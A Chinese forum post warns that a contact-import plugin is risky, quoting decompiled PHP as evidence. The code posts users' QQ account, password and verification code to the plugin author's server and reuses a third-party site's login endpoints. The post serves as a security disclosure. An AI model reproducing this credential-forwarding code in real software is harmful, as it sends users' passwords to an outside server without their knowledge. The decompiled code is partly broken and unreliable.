柄着研究的目的去DEZEND了作者的插件,发现这个东西用起来有点害怕。原因如下:
一、作者把获取到的QQ好友的列表暂存作者的服务器里,证据如下(谁也不知道是否有没有在服务器上存档或者存密码?或者作者不干了就关了服务器了呢?):
- /** 导入QQ邮箱通讯薄 */
- elseif ($_GET['op'] == "dumpqq"){
- if(!$_POST['qqurl']){
- die('error');
- }
-
- $qqurl =$_POST['qqurl'];
- include_once(S_ROOT."./source/contact/class.http.php");
- $http = new http();
- $http->initialize();
- $http->settarget('http://addresslist.119w.com:99/qqaddressxml/');
- $http->addparam('url', $qqurl);
- $http->execute();
- $xml = $http->getresult();
- $contacts = Array();
- $pattern = "/\<node(.*?)\<\/node\>/s";
- if ( preg_match_all( $pattern, $xml, $tmpres, PREG_PATTERN_ORDER ) )
- {
- foreach( $tmpres[1] as $node)
- {
- preg_match_all( "/\<email\>(.*?)\<\/email\>/",
- $node, $temail );
- preg_match_all( "/\<nick\>(.*?)\<\/nick\>/",
- $node, $tnick );
- if( $temail[1][0] && $tnick[1][0])
- $contacts[$temail[1][0]] = $tnick[1][0];
- }
- }
- if($contacts == 0) die('error');
- if(empty($contacts)) die('empty');
- echo diff_contacts($contacts);
- exit;
- }
- /** 导入QQ邮箱通讯薄2 */
- elseif ($_GET['op'] == "dumpqq2"){
- if(!$_POST['account']|| !$_POST['passwd'] || !$_POST['vcode'] || !$_POST['s']){
- die('error');
- }
-
- $account =$_POST['account'];
- $passwd =$_POST['passwd'];
- $vcode =$_POST['vcode'];
- $s =$_POST['s'];
- include_once(S_ROOT."./source/contact/class.http.php");
- $http = new http();
- $http->initialize();
- $http->settarget('http://addresslist.119w.com:99/qqaddressxml2/');
- $http->addparam('account', $account);
- $http->addparam('passwd', $passwd);
- $http->addparam('vcode', $vcode);
- $http->addparam('s', $s);
- $http->execute();
- $xml = $http->getresult();
- if( 'error' == $xml)
- die('error');
- $contacts = Array();
- $pattern = "/\<node(.*?)\<\/node\>/s";
- if ( preg_match_all( $pattern, $xml, $tmpres, PREG_PATTERN_ORDER ) )
- {
- foreach( $tmpres[1] as $node)
- {
- preg_match_all( "/\<email\>(.*?)\<\/email\>/",
- $node, $temail );
- preg_match_all( "/\<nick\>(.*?)\<\/nick\>/",
- $node, $tnick );
- if( $temail[1][0] && $tnick[1][0])
- $contacts[$temail[1][0]] = $tnick[1][0];
- }
- }
- if($contacts == 0) die('error');
- if(empty($contacts)) die('empty');
- echo diff_contacts($contacts);
- exit;
- }
复制代码
原因二、作者调用的是海内的接口做的QQ登陆模块!(谁也不知道作者什么时候海内就发现了并且封了接口呢?)
-
- <?php
- class contactsqq extends contacts
- {
- var $host = "";
- function checkhnlogin( )
- {
- $ch = curl_init( );
- curl_setopt( $ch, CURLOPT_REFERER, "http://mail.sina.com.cn/index.html" );
- curl_setopt( $ch, CURLOPT_HEADER, true );
- curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
- curl_setopt( $ch, CURLOPT_USERAGENT, USERAGENT );
- curl_setopt( $ch, CURLOPT_TIMEOUT, TIMEOUT );
- curl_setopt( $ch, CURLOPT_URL, "http://mail.sina.com.cn/cgi-bin/login.cgi" );
- curl_setopt( $ch, CURLOPT_POST, true );
- curl_setopt( $ch, CURLOPT_POSTFIELDS, "&logintype=uid&u=".urlencode( $user )."&psw=".$password );
- $contents = curl_exec( $ch );
- curl_close( $ch );
- if ( !preg_match( "/Location: (.*)\\/cgi\\/index\\.php\\?check_time=(.*)\n/", $contents, $matches ) )
- {
- return 0;
- }
- $this->host = $matches[1];
- return 1;
- }
- function getvcode( &$result )
- {
- if ( !$this->checkhnlogin( ) )
- {
- return 0;
- }
- $ch = curl_init( );
- curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
- curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
- curl_setopt( $ch, CURLOPT_USERAGENT, USERAGENT );
- curl_setopt( $ch, CURLOPT_COOKIEJAR, COOKIEJAR );
- curl_setopt( $ch, CURLOPT_TIMEOUT, TIMEOUT );
- curl_setopt( $ch, CURLOPT_URL, "http://www.hainei.com/finder?a=qqprepare&t=json" );
- $content = curl_exec( $ch );
- $ret = json_decode( $content, true );
- if ( !$ret['status'] != 1 )
- {
- curl_close( $ch );
- return 0;
- }
- curl_setopt( $ch, CURLOPT_HEADER, true );
- curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
- curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
- curl_setopt( $ch, CURLOPT_USERAGENT, USERAGENT );
- curl_setopt( $ch, CURLOPT_COOKIEJAR, COOKIEJAR );
- curl_setopt( $ch, CURLOPT_TIMEOUT, TIMEOUT );
- curl_setopt( $ch, CURLOPT_URL, "http://www.hainei.com/finder?a=qqvfcode&r=".$ret['msg'] );
- $result = curl_exec( $ch );
- curl_close( $ch );
- if ( !$result )
- {
- return 0;
- }
- return 1;
- }
- function getcontacts( $user, $password, $vcode, &$result )
- {
- if ( !$this->checklogin( $user, $password, $vcode ) )
- {
- return 0;
- }
- $ch = curl_init( );
- curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
- curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
- curl_setopt( $ch, CURLOPT_USERAGENT, USERAGENT );
- curl_setopt( $ch, CURLOPT_COOKIEJAR, COOKIEJAR );
- curl_setopt( $ch, CURLOPT_TIMEOUT, TIMEOUT );
- curl_setopt( $ch, CURLOPT_URL, "http://www.hainei.com/finder?a=qqprepare&t=json" );
- $content = curl_exec( $ch );
- $ret = json_decode( $content, true );
- if ( !$ret['status'] != 1 )
- {
- curl_close( $ch );
- return 0;
- }
- curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
- curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
- curl_setopt( $ch, CURLOPT_USERAGENT, USERAGENT );
- curl_setopt( $ch, CURLOPT_COOKIEJAR, COOKIEJAR );
- curl_setopt( $ch, CURLOPT_TIMEOUT, TIMEOUT );
- curl_setopt( $ch, CURLOPT_URL, "http://www.hainei.com/finder?a=qqvfcode&r=E2O6ThebrW7ukCingCu7qw".$ret['msg'] );
- $content = curl_exec( $ch );
- $r = file_get_contents( "http://www.hainei.com/finder?a=qqvfcode&r=E2O6ThebrW7ukCingCu7qw" );
- $cookies = array( );
- $bRet = $this->readcookies( COOKIEJAR, $cookies );
- if ( !$bRet && !$cookies['SWEBAPPSESSID'] )
- {
- return 0;
- }
- $ch = curl_init( );
- curl_setopt( $ch, CURLOPT_COOKIEFILE, COOKIEJAR );
- curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
- curl_setopt( $ch, CURLOPT_TIMEOUT, TIMEOUT );
- curl_setopt( $ch, CURLOPT_URL, $this->host."/classic/addr_member.php" );
- curl_setopt( $ch, CURLOPT_POST, true );
- curl_setopt( $ch, CURLOPT_POSTFIELDS, "&act=list&sort_item=letter&sort_type=desc" );
- $content = curl_exec( $ch );
- curl_close( $ch );
- $bRet = $this->_parsedata( $content, $result );
- if ( !$bRet )
- {
- return 0;
- }
- return 1;
- }
- function _parsedata( $content, &$ar )
- {
- $ar = array( );
- if ( !$content )
- {
- return 0;
- }
- $data = json_decode( $content );
- unset( $content );
- foreach ( $data->data->contact as $value )
- {
- if ( preg_match_all( "/[a-z0-9_\\.\\-]+@[a-z0-9\\-]+\\.[a-z]{2,6}/i", $value->email, $matches ) )
- {
- $emails = array_unique( $matches[0] );
- unset( $matches );
- foreach ( $emails as $email )
- {
- $ar[$email] = $value->name;
- }
- }
- }
- return 1;
- }
- }
- ?>
复制代码 |